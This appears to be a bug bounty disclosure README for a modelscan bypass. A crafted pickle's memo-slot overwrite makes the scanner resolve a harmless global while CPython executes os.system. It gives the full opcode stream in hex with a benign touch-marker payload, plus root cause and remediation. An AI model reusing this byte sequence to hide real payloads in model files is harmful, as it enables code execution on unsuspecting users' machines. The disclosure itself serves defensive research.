YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
modelscan bypass β pickle memo-slot temporal-reuse parser divergence (CWE-693 / CWE-436)
huntr Model File Vulnerability PoC. Target format: Pickle (.pkl) β Python. Bypassed scanner: protectai/modelscan 0.8.8 (Protect AI's own model scanner).
Payload is benign: os.system("touch /tmp/PWNED_DIVERGE_MARKER") β it only creates an empty marker file so you can confirm execution. Run in a throwaway sandbox.
What this is
A single 56-byte .pkl that modelscan reports as clean ("No issues found!") while CPython's real unpickler executes os.system. It is a genuine parser divergence (static analysis resolves a different global than the VM), NOT a deny-list gap and NOT the published offset-0 STACK_GLOBAL crash.
Files
modelscan_memo_divergence.pklβ the crafted malicious pickle (56 bytes).modelscan_output.txtβ modelscan reports clean (with JSONerrors:[]/ control CRITICAL / cross-tool notes).vm_findclass_trace.pyβ non-executing proof CPython resolves('os','system').load_demo.pyβ full demo that loading the file runs the benign marker.
The opcode stream
80 02 PROTO 2
8c 02 os SHORT_BINUNICODE 'os'
94 MEMOIZE -> memo[0] = 'os'
68 00 BINGET 0
8c 06 system SHORT_BINUNICODE 'system'
71 00 BINPUT 0 -> memo[0] = 'system' (OVERWRITES slot 0)
93 STACK_GLOBAL
8c 1f touch /tmp/PWNED_... SHORT_BINUNICODE 'touch /tmp/PWNED_DIVERGE_MARKER'
85 TUPLE1
52 REDUCE -> calls resolved_global(marker)
2e STOP
(pickletools.dis refuses this stream with ValueError: memo key 0 already defined β modelscan does not.)
Root cause (read from modelscan 0.8.8 source: modelscan/tools/picklescanner.py, _list_globals)
_list_globals has no value stack. It walks opcodes forward, maintaining a memo dict where MEMOIZE/BINPUT do a plain memo[key] = ops[n-1][1] assignment (overwriting an existing slot with no conflict check). On STACK_GLOBAL it walks backward for the two nearest value-producing opcodes, resolving a GET/BINGET as memo[int(operand)] against the memo's current (final) state.
By the time it reaches
STACK_GLOBAL,memo[0]has been overwritten to'system'(by theBINPUT 0that lexically follows theBINGET 0). So its backward walk collects['system'(literal), 'system'(BINGET 0 -> final memo[0])]and records the benign global('system','system').'system'is not a module in modelscan'sunsafe_globals, and both operands are valid strings, so it completes with no error and no issue.CPython's VM (
Lib/pickle.pyUnpickler) executesBINGET 0at its point in the stream, fetchingmemo[0] == 'os'(beforeBINPUT 0overwrote it). The VM stack then feedsSTACK_GLOBAL->find_class('os','system')->os.system, andREDUCEcallsos.system(marker).
The divergence is purely static-final-memo vs dynamic-point-in-time-memo.
Why it qualifies / is novel
- Scanner bypass = huntr's top-priority MFF class; malicious model file loads and executes while the scanner meant to catch it passes it.
- Not a deny-list gap:
os.systemnever appears in modelscan's reconstruction.modelaudit(which models memo state correctly) does catch the identical bytes. - Not the published offset-0
STACK_GLOBALcrash (that populateserrorswith aPickleGenopsError; this completes witherrors:[]). - Deduped against CVE-2025-46417, GHSA-655q-fx9r-782v, GHSA-jgw4-cr84-mqxg, CVE-2025-10155/10156/10157, GHSA-f7qq-56ww-84cr, GHSA-p9w7-82w4-7q8m, the manja316 offset-0 PoC, Cisco "Breaking the Jar", and arXiv 2508.19774 β none describe a memoized-GET resolving to a memo slot's overwritten final value statically vs its live value at execution.
Remediation
In _list_globals, either model the memo the way the VM does (resolve GET against the memo state at the GET's position, not the final state), or reject/flag streams that overwrite an existing memo slot (mirroring pickletools' memo key already defined check), or track a real value stack for STACK_GLOBAL operand resolution.
All testing was local; the payload is a benign touch marker only.